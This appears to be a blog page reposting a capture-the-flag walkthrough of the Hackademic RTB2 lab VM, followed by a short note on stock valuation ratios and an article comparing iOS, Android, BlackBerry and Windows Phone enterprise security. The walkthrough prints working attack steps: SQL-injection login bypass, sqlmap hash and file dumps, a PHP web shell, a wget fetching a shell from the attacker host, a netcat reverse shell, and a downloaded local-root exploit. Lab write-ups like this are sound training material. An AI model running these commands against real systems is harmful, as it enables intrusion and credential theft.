Hackademic-RTB2

Hacking 2014. 8. 19. 05:22

Hackademic-RTB2

Introduction

Description

Hackademic RTB2 is the second edition of Hackademic vulnerable Virtual Machine. The first challenge is described here.

Installation

Hackademic RTB2 can be downloaded from following places:

Check the md5sum: 4c35e875e0ae2f872af6751f259b82b7

Environment

  • Attacker: 192.168.1.43 (BackTrack 5 R2)
  • Victim: 192.168.1.9 (VMWare Fusion)

Should you need to discover the IP address of your target, use tools like fpingnetdiscover or nmap.

Challenge

Assessment

Services/Versions

A first nmap scan shows a web server on port 80/tcp and a service on port 666/tcp that looks filtered:

root@bt:~# nmap -sS 192.168.1.9

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-04-08 07:57 EDT
Nmap scan report for 192.168.1.9
Host is up (0.00072s latency).
Not shown: 998 closed ports
PORT    STATE    SERVICE
80/tcp  open     http
666/tcp filtered doom
MAC Address: 00:0C:29:E5:3D:EC (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds

A complete scan (against TCP and UDP) provides us with following results:

root@bt:/pentest/database/sqlmap# nmap -sS -sU -A 192.168.1.10

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-04-07 16:36 EDT
Nmap scan report for 192.168.1.10
Host is up (0.00036s latency).
Not shown: 1950 closed ports, 47 open|filtered ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.2.14 ((Ubuntu))
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Hackademic.RTB2
666/tcp  open  http    Apache httpd 2.2.14 ((Ubuntu))
| http-robots.txt: 14 disallowed entries 
| /administrator/ /cache/ /components/ /images/ 
| /includes/ /installation/ /language/ /libraries/ /media/ 
|_/modules/ /plugins/ /templates/ /tmp/ /xmlrpc/
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Hackademic.RTB2
5353/udp open  mdns    DNS-based service discovery
| dns-service-discovery: 
|   9/tcp workstation
|_    Address=192.168.1.10 2a01:e35:8b15:3430:20c:29ff:fee5:3dec
MAC Address: 00:0C:29:E5:3D:EC (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.17 - 2.6.36
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.36 ms 192.168.1.10

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1119.53 seconds

It shows that port 666/tcp is now opened and hosting a web service. We think of port knowcking. There is also a DNS based service on port 5353/udp.

Web service

Let's analyze what could be interesting on port 80/tcp. Point your browser to the root of the target:

Hackademic-RTB2-001.png

Using dirbuster also discloses the presence of a phpmyadmin interface:

Hackademic-RTB2-002.png

Find vulnerabilities in the first form

Let's try to find a vulnerability in the first authentication form. I have used W3AF as well as Sqlmap but have found no SQL injection. Using fuzzing techniques with BurpSuite (Intruder module) against the password field leads to the discovery of an SQL injection:

Hackademic-RTB2-003.png

Notice that it's a real fuzzing exercise here (I must confess it's also a little bit by chance) to discover the injection (you will have to use the full list of SQL injection strings from BurpSuite as well as suffixing them with a simple quote. On the other way, the authentication mechanism doesn't make use of a database. The PHP code will show that the following combination is hard coded:

  • login: admin
  • password: ' or 1=1 --'

Anyway, this combination leads to a new message as well as as long encoded string:

Hackademic-RTB2-004.png

Find the port-knocking combination

First decode the URL based message. It looks like a hex-encoded string. Use online resources to decode it (e.g. http://home.paulschou.net/tools/xlate/):

Hackademic-RTB2-005.png

The hint "Knock knock knockin' on heaven's door" now confirms that this string will lead to the port knocking combination. Let's copy the binary message, paste it in the binary field and decode it:

Hackademic-RTB2-006.png

Open port 666/tcp

The combination is: 1001:1101:1011:1001. Let's consider it's a suite of TCP ports to open port 666/tcp on the target. We will use netcat to compose the sesame:

# for i in 1001 1101 1011 1001; do nc -z 192.168.1.9 $i; done

Let's check that it has opened the service by pointing to http://192.168.1.19:666. It's working, we can see the welcome page of a Joomla v1.5 portal.

Find a vulnerability in the second application

Now, time to find a vulnerability in the second application, the Joomla portal. Let's try to find a SQL injection. Sqlmap leads to the disclosure of the MySQL users:

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.1.9:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" -D mysql -T user -C User,Password --dump
+-------------------------------------------+------------------+
| Password                                  | User             |
+-------------------------------------------+------------------+
| *5D3C124406BF85494067182754131FF4DAB9C6C7 | root             |
| *F36E6519B0B1D62AA2D5346EFAD66D1CAF248996 | debian-sys-maint |
| *5D3C124406BF85494067182754131FF4DAB9C6C7 | phpmyadmin       |
+-------------------------------------------+------------------+

However, these hashes haven't been reversed in the past and, though John The Ripper could help, it would take hours, days, ... to crack?

Let's try to dump the users from the Joomla database:

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.1.9:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" \
   -D joomla -T jos_users -C name,password,username,usertype --dump
+----------------+-------------------------------------------------------------------+---------------+-----------------------+
| name           | password                                                          | username      | usertype              |
+----------------+-------------------------------------------------------------------+---------------+-----------------------+
| Administrator  | 08f43b7f40fb0d56f6a8fb0271ec4710:n9RMVci9nqTUog3GjVTNP7IuOrPayqAl | Administrator | Super%20Administrator |
| John%20Smith   | 992396d7fc19fd76393f359cb294e300:70NFLkBrApLamH9VNGjlViJLlJsB60KF | JSmith        | Registered            |
| Billy%20Tallor | abe1ae513c16f2a021329cc109071705:FdOrWkL8oMGl1Tju0aT7ReFsOwIMKliy | BTallor       | Registered            |
+----------------+-------------------------------------------------------------------+---------------+-----------------------+

But once again, trying to reverse the hashes is not straightforward. However, sqlmap offers the ability to read files. Let's try to read the configuration file:

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.1.9:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" \
   --file-read="/var/www/configuration.php"
/var/www/configuration.php file saved to:    
'/pentest/database/sqlmap/output/192.168.1.9/files/_var_www_configuration.php'

Let's see what's inside:

root@bt:/pentest/database/sqlmap# egrep -i "user|password" output/192.168.1.9/files/_var_www_configuration.php 
var $user = 'root';
var $password = 'yUtJklM97W';
var $ftp_user = ;
var $offset_user = '0';
var $smtpuser = ;

Set up a backdoor

Now that we have the password for root, let's connect to the phpmyadmin interface. Go to http://192.168.1.9/phpmyadmin and use the above credentials.

Open a SQL window and create a rudimentary shell that we will use to download a more sophisticated one:

select "<?php system($_GET[\"cmd\"]); ?>" > into outfile "/var/www/shell.php"

Let's test it:

Hackademic-RTB2-007.png

Now, let's download a more sophisticated PHP shell. Download it on your Bakctrack distribution, uncompress it in your /var/www/ directory and start your webserver (/etc/init.d/apache2 start).

From your browser, use following commands:

http://192.168.1.9:666/shell.php?cmd=wget%20http://192.168.1.43/phpshell.txt

The above command will download the PHP shell. Now let's modify the extension to php:

http://192.168.1.9:666/shell.php?cmd=mv%20/var/www/phpshell.txt%20/var/www/phpshell.php

You should now be able to access your PHP shell:

Hackademic-RTB2-008.png

Reverse shell

To use the reverse shell, open a socket on your Backtrack with netcat:

nc -lvvp 5555

And from the "Back Connect" feature (top menu of the PHP shell interface), configure it as follows:

Hackademic-RTB2-009.png

From your Backtrack terminal, you now have a complete shell to the machine, with limited privileges:

root@bt:~# nc -lvvp 5555
listening on [any] 5555 ...
192.168.1.9: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.1.43] from (UNKNOWN) [192.168.1.9] 48972
expr: syntax error
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cd /root
cd: 3: can't cd to /root
uname -a
Linux HackademicRTB2 2.6.32-24-generic #39-Ubuntu SMP Wed Jul 28 06:07:29 UTC 2010 i686 GNU/Linux

Privileges escalation

After some researches on http://www.exploit-db.com, you will find an exploit that works (http://www.exploit-db.com/download/14814).

From your reverse shell, download it, compile it and execute it:

wget http://www.exploit-db.com/download/14814 -O 14814.c
gcc 14814.c -o 14814
chmod +x 14814
./14814
id
uid=0(root) gid=0(root)

Decrypt the key

The Key.txt in /root contains a base64 hash. Let's decrypt it and see what it is:

base64 -d Key.txt > output
file output
output: PNG image, 756 x 344, 8-bit/color RGB, non-interlaced

It's a PNG image. Let's copy it in /var/www:

mv output /var/www/

Here is it:

Hackademic-009.png


Posted by CEOinIRVINE
l

Valuation

Finance & EMBA 2014. 8. 12. 07:16
Valuation

Wall Street investors and stock analysts scrutinize a company's financial statements and stock performance carefully in order to arrive at what they believe to be a realistic estimate of that company's value. Since a share of stock denotes ownership of a part of the company, analysts are interested in knowing whether the market price of that share is a good deal relative to the underlying value of the piece of the company the share represents.

Wall Street uses various means of valuation, that is, of assessing a company's financial performance in relation to its stock price.

  • Earnings per share (EPS): EPS equals net income divided by the number of shares outstanding. This is one of the most commonly watched indicators of a company's financial performance. If it falls, it will likely take the stock's price down with it.
  • Price-to-earnings ratio (PE): The PE ratio is the current price of a share of stock divided by the previous 12 months' earnings per share. It is a common measure of how cheap or expensive a stock is, relative to earnings.
  • Price-to-book ratio: This ratio is the current market price of a share of stock divided by a stock's book value per share. (To calculate the book value, subtract the preferred stock total from total equities, and then divide the result by the number of shares outstanding.)
  • Growth indicators: Growth measures can tell a great deal about financial health. A company's growth allows it to provide increasing returns to its shareholders, and to provide opportunities for new and existing employees. The number of years over which you should measure growth will depend on the business cycle of the industry the company is in. A one-year growth figure for an oil company—an industry that typically has long business cycles—probably doesn't tell you very much. But a strong one-year growth figure for an Internet company would be significant. Common measures of growth include sales growth, profitability growth, and growth in earnings per share.


Posted by CEOinIRVINE
l

Mobile security: iOS vs. Android vs. BlackBerry vs. Windows Phone

e BYOD phenomenon is old news, with support from most companies. For IT organizations, that means ensuring proper security and management over the mobile devices employees are likely to use. In the last year, Apple’s iPhone and iPad have become the new corporate standardsdue to high user satisfaction and superior security capabilities. iOS 7 pushes Apple’s management and security into new areas, including application management and licensing.

But Samsung has been aggressively promoting its SAFE (Samsung Approved for Enterprise) extensions to Android and its add-on Knox management APIs to bolster its reach into businesses wary of Google’s historic lack of concern for security and the rampant malware on Android devices. SAFE targets the first concern. BlackBerry, once the IT darling due to its hundreds of security capabilities, is also trying to gain corporate respect with BlackBerry 10, which supports basic Exchange ActiveSync (EAS) policies out of the box (a first for BlackBerry), as well as a rich set of security features in its retooled BES 10 management server.

Then there’s Windows Phone 8, the third version of Microsoft’s attempt to deliver a popular smartphone OS. It’s historically given little heed to security concerns, but Version 8 endeavors to satisfy basic business security concerns. And the forthcoming Windows Phone 8.1 increases its capabilities even further.

Mobile security falls into two fundamental forms: Microsoft’s EAS policies and native APIs.

Exchange ActiveSync policy support compared
Microsoft Exchange, Microsoft System Center 2012, Google Docs for Business, and various third-party management tools support EAS policies out of the box. According to mobile analyst Chris Hazelton at the 451 Group, the core EAS policies cover most businesses’ needs. But as Table 1 on the next page shows, the various mobile OSes support different EAS policies; EAS support in and of itself doesn’t tell you what security level you get.

Apple’s iOS 4.2 was the first major modern mobile OS to support EAS policies, and it helped catapult the iPhone to enterprise dominance. Since then, Google has increased Android’s EAS coverage in each version, with Android 4 supporting more EAS policies than previous versions. Samsung, the leading Android maker, has added policy support as well as APIs to Android 4 to many of its devices. (I detail which EAS policies each version of Android and Windows Phone support in the article “How Windows Phone 8 security compares to iOS and Android.”)

When you compare Windows Phone 8’s EAS policy support to that of Windows Phone 7.5, there’s not much difference. “Microsoft has not really added much on the management end,” notes J.P. Halebeed, global director of R&D at mobile device management (MDM) vendor AirWatch. A critical addition is support for encryption on the device (it’s on by default for internal storage, but not for SD cards) and the related support for EAS’s encryption policies. The lack of support for encryption had been one of the biggest barriers to Windows Phone’s business acceptance. Microsoft also supports the new information rights management (IRM) EAS policy, which lets companies enable rights management for data on devices; Microsoft of course has a corresponding IRM server product. But Windopws Phone 8.1 does make some real leaps forward, as the tables in this article show.

Finally, BlackBerry added EAS support to the new BlackBerry 10 OS; previous versions could be secured only through the BlackBerry Enterprise Server (BES).

Table 1: EAS policy support compared

(“MDM” means a separate mobile device management server is required)

 AppleGoogleSamsungBlackBerryMicrosoft
PolicyiOS 6, 7Android 4Android 4 + SAFEBlackBerry 10Windows Phone 8
Allow device encryptionYesYesYesYesYes
Require device encryptionYesNoMDMYesYes
Encrypt storage cardNAYesYesNoYes
Minimum password lengthYesYesYesYesYes
Minimum number of complex characters (password)YesYesYesYesYes
Password historyYesYesYesYesYes
Device wipe thresholdYesYesYesYesYes
Disable removable storageMDMNoMDMNo**No
Disable cameraYesYesYesNo**No
Disable SMS text messagingNoNoNoNoNo
Disable Wi-FiMDMNoMDMNoNo**
Disable BluetoothMDMNoMDMNo**No
Disable IrDANANoNoNoNo
Require manual sync while roamingYesYesYesNo**No
Allow Internet sharing from deviceMDMNoMDMNo**MDM
Allow desktop sharing from deviceMDMNoMDMNoNo
Disable email attachment accessYesYesYesNoYes
Disable POP3/IMAP4 emailMDMNoNoYesNo
Allow consumer emailNoNoNoNoNo
Allow browserYesMDMMDMNoMDM
Configure message formats (HTML or plain text)NoNoNoNoNo
Include past email items (days)YesNoNoYesYes
Email body truncation size (KB)NoNoNoNoNo**
HTML email body truncation size (KB)NoNoNoNoNo**
Include past calendar items (days)NoNoNoYesNo
Require signed S/MIME messagesNoNoNoNoNo**
Require encrypted S/MIME messagesNoNoNoNoNo**
Require signed S/MIME algorithmNoNoNoNoNo**
Require encrypted S/MIME algorithmNoNoNoNoNo**
Allow S/MIME encrypted algorithm negotiationNoNoNoNoNo**
Allow S/MIME soft certsNoNoNoNoNo**

Native security and management API capabilities compared
The other form of mobile security comes from the APIs in each mobile OS. These APIs vary widely across the OSes, and each requires a management tool. Many MDM tools support multiple mobile OSes, providing a single console for IT admins. Some also offer client apps that add capabilities not found in the native APIs, though this typically forces users to opt for proprietary email and other apps for business purposes. Table 2 on the next page shows some of the more commonly requested management features typically implemented through APIs.

Apple, for example, has several dozen such APIs that use remotely installed configuration profiles not only to configure various iOS settings (such as preconfiguring VPN or allowed access points) but also to manage app behavior (such as disallowing the forwarding of corporate messages via personal accounts in Mail). iOS 6 added several new policies, including the ability to prevent app removal, lock a user to a specific app (such as for kiosk or retail usage), and prevent paid apps from being purchased. All are part of what iOS calls a supervised environment, in which the iPhone or iPad is treated as an appliance. iOS 7 adds a set of APIs for application management, including managed Open In, per-app VPNs, managed copy and paste across apps, and single sign-on, as well as true license management and profile-based app installation.

Along the same lines, in Windows Phone 8, Microsoft supports the ability to revoke applications, restrict email forwarding, remotely enroll or unenroll devices, and remotely update business-provisioned apps. One capability in Windows Phone 8 not available to other mobile OSes is its integration with Active Directory, notes Ahmed Datoo, vice president of marketing at MDM vendor Zenprise. This means that MDM tools such as Zenprise’s can access the Active Directory groups, then assign policies to those groups rather than maintain a separate set of groups in the MDM tool from the set in Active Directory. That’s a time-saver for IT, he notes; it reduces the risk of employees not being in the correct groups for the policies that should apply or falling through the cracks when terminated in, say, Active Directory but not in the MDM tool’s user database.

Microsoft and Google provide far fewer such capabilities in their APIs, though Samsung and Google’s Motorola Mobility unit have added their own security APIs to their Android 4 devices. For example, Samsung’s SAFE APIs allow IT admins to disable cameras, Bluetooth, tethering, voice recording, SD cards, and Wi-Fi.

Microsoft uses a central manager in Windows Phone 8 called DM Client that contains all the relevant user and corporate profiles (like the Windows Registry, in effect), rather than rely on a set of separate installed configuration profiles (like the OS X System Folder, in effect). And on September 17, Microsoft finally attained FIPS 140-2 certification, joining BlackBerry 10, iOS 6 and 7, and Samsung SAFE Android devices for this key federal security standard. 

Then there’s BlackBerry, the godfather of mobile security and management. Its BES offers hundreds of controls, and its Balance technology lets IT create a partition on a BlackBerry 10 device to keep personal and work apps and data separate. BlackBerry has a fairly confusing set of MDM products as it transitions from its old BlackBerry platform to the new one; I detail its various MDM products and how they relate in the article “BlackBerry’s road map to unified mobile management.”

Table 2: Other native management capabilities compared

(Typically requires a mobile device management server to use)

 AppleGoogleSamsungBlackBerryMicrosoft
Capability iOS 6,7Android 4Android 4 + SAFEBlackBerry 10 + BES 10Windows Phone 8
EncryptionAES 256, user has no disable optionAES 128, user has disable option, only some models support encryption AES 256, user has disable option, not all devices support encryptionAES 256, user has disable option AES 256, user has no disable option

FIPS 140-2 certification

Yes
(Level 1)
NoSome models
(Level 1)
Yes
(Level 2)
Yes
(Level 1)

Over-the-air data encryption

Yes

Yes

YesYes

Yes

S/MIME

Yes

No

NoYes

No**

VPN

Yes

Yes

YesYes

No**

Configure VPNYesYesYes YesNo**

Restrict/block app stores

Yes

No

YesYes

Yes

Restrict/block wireless LANs

Yes

NoYesYesNo**
Configure allowable access pointsYesYesYes YesNo**
Signed apps requiredYesNoNoYesYes

Selective wipe of business apps and data only

Yes

No

YesYes

No**

Remotely update business appsYesNoYesYesYes
Secure bootYes Yes*YesYesYes
App sandboxingYesYesYes YesYes
Disable copy and pasteYesYesYesYesNo**
Disable iCloud/Microsoft Account/Google Account sync and storageYesNoYesYes

No**

 

How to think about mobile device management
Ojas Rege, vice president of strategy at MDM vendor MobileIron, describes three bands of management requirements that IT should be thinking about.

The first set of requirements is around configuration and protection of lost or compromised devices. That typically requires password enforcement, encryption enforcement, remote lock and wipe, remote email configuration, certificates for identity, remote connectivity configuration (such as for Wi-Fi and VPNs, though he says this configuration capability is not essential if usage is just for email and over cellular networks), and detection of compromised OSes (such as jailbroken, rooted, or malware-infected ones).

The second set of requirements is around data loss prevention (DLP), which covers privacy controls (such as for user location), cloud-usage controls (such as for iCloud, SkyDrive, and Google Docs), and email DLP controls (such as the ability to restrict email forwarding and to protect attachments). “More regulated environments may require No. 2, and these policies are still TBD for Windows Phone,” Rege notes. By contrast, iOS, BlackBerry, and Android have supported most of these needs since (respectively) iOS 4, BES 5, and Android 3, though a few — such as managing email forwards — are handled outside the OS by MDM clients such as MobileIron’s.

The third set of requirements is around apps, such as their provisioning and data security. Although both Apple and Microsoft have mechanisms to do at least basic app management — iOS can essentially hide an app so that it’s no longer available to a user, and Windows Phone 8 can update corporate apps remotely — mobile application management (MAM) capabilities are mostly up to the mobile management vendors to deploy, Rege says.

All the app stores but Google’s are highly curated. For their mobile OSes, Microsoft and BlackBerry copied Apple’s curated approach, which has kept malware off iOS. Android has no such rigorous control, and although Google now spends more effort to analyze apps, the Google Play market is full of malware. The feds recently announced that industrial-class spyware used in advanced persistent threats has now entered the Google Play market.

All four platforms provide mechanisms for businesses to deploy their own apps directly to users, so they can deploy and manage corporate apps separately from those that users get from the app store. Mobile mangement tools can connect these mechanisms to group policies and content-management controls.

It’s a no-brainer that iOS and BlackBerry 10 have what it takes for almost any business’s security needs. Android, especially if you get Samsung or Motorola devices, is a plausible platform if you’re not worried about the malware potential. Meanwhile, Windows Phone holds down the rear, appropriate for low-security requirements.


'Hacking' 카테고리의 다른 글

Wireless Hacking  (0) 2015.01.08
Hackademic-RTB2  (0) 2014.08.19
Web Application Security  (0) 2014.08.06
Top 10 Most Searched Metasploit Exploit and Auxiliary Modules  (0) 2014.06.12
Must-Have Tools: Software mobile  (0) 2014.04.19
Posted by CEOinIRVINE
l